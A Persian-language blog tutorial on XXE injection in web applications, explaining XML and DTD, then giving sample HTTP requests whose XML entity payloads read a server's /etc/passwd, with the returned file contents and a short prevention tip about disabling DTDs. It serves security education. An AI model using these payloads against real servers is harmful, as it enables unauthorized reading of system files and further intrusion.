amirhoseintangsirinet
amirhoseintangsirinet
خواندن ۳ دقیقه·۴ سال پیش

آسیب پذیری XXE Injection

بررسی آسیب پذیری XXE Injection در وب سایت ها و نحوه تست نفوذ سنجی این آسیب پذیری

نویسنده: امیرحسین تنگسیری نژاد

آسیب پذیری XXE مخفف XML external entity injection یک‌ آسیب پذیری تحت وب که به موجب آن ما توانایی اجرای کد های مخرب XML را پیدا خواهیم کرد، با استفاده از این حمله فرد مهاجم توانایی پیاده سازی یک حمله DoS و یاهمان Denial-Of-Service را پیدا خواهد کرد حتی به این منظور توانایی خواندن فایل های Local درون سیستم را نیز دارد

گاهی مواقع این آسیب پذیری را می توان به آسیب پذیری RCE تبدیل کرد و از طریق آن کد های مخرب خود را از راه دور بر روی سیستم اجرا کنیم

در صورتی توانایی تبدیل این آسیب پذیری به RCE را داریم که وب سایت مورد نظر توانایی اجرای expect که یک Function در زبان برنامه نویسی PHP می باشد را داشته باشد

این آسیب پذیری قابلیت تبدیل شدن به آسیب پذیری های دیگری همچون SSRF را نیز دارد و از طریق آن‌ ما توانایی دسترسی به سرور ها و سیستم های درون شبکه آنرا پیدا خواهیم کرد

این آسیب پذیری زمانی رخ می دهد که ما توانایی تجزیه کد های XML و DTD را داشته باشیم

بررسی XML:

مخفف Extensionible Markup Language می باشد. XML یک فرمت داده بسیار ساده و کاربرد می باشد که در اکثر سرور ها همچون SOAP, XML-RPC و REST برای فرمت های داده مختلفی ازجمله DOCX, HTML ,Exif-Data و فایل های SVG مورد استفاده قرار می گیرد

بررسی DTD:

مخفف Document Type Definition می باشد و  مشخص کننده ساختار و Eleman های مجاز و خصوصیات یک داده XML است. به زبان ساده تر و با یک مثال جامع به اینطورت است که گروه های مستقل مردم می توانند با توافق در استانداردها با هم تبادل داده و اطلاعات نمایند از این رو یک اپلیکیشن با استفاده از DTD می تواند بررسی نماید که داده های XML معتبر است یا که خیر

تست نفو‌ذ سنجی از طریق آسیب پذیری XXE Injection

در مثال زیر یک نرم افزار وب ساده که ورودی XML را بررسی و اجرا می کند و خروجی آن را به ما نمایش می دهد را میبینید

Request:

POST http://example.com/xml HTTP/1.1 <foo> Hello World </foo>

Response:

HTTP/1.0 200 OK Hello World

این ساده ترین نوع از آسیب پذیری XXE می باشد

می توان اینکار را به شکل دیگری از طریق DTD نیز انجام داد زیرا آسیب پذیری XXE Injection در سمت رخ می دهد

Request:

POST http://example.com/xml HTTP/1.1 <?xml version=&quot1.0&quot encoding=&quotISO-8859-1&quot?> <!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY Virgool &quotWorld&quot> ]> <foo> Hello &Virgool; </foo>

Response:

HTTP/1.0 200 OK Hello World

خواندن فایل های Local سیستمی هدفمان

Request:

POST http://example.com/xml HTTP/1.1 <?xml version=&quot1.0&quot encoding=&quotISO-8859-1&quot?> <!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY xxe SYSTEM &quotfile:///etc/passwd&quot> ]> <foo> &xxe; </foo>

Response:

HTTP/1.0 200 OK root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh (...)

نحوه کشف آسیب پذیری XXE Injection

این آسیب پذیری را می توان از طریق اسکنر های مختلف و قدرتمند در این زمینه کشف کنید، همچنین می توانید با تست نفوذ سنجی و بررسی آیا XML Parser در مکان خاصی از وب سایت رخ می دهد یا خیر این آسیب پذیری رو کشف کنید

جلوگیری از آسیب پذیری XXE Injection

ساده ترین راه جلوگیری از این حمله غیرفعال سازی DTD می باشد

امنیت سایبریتست نفوذآسیب پذیریxxe injectionامنیت وب
شاید از این پست‌ها خوشتان بیاید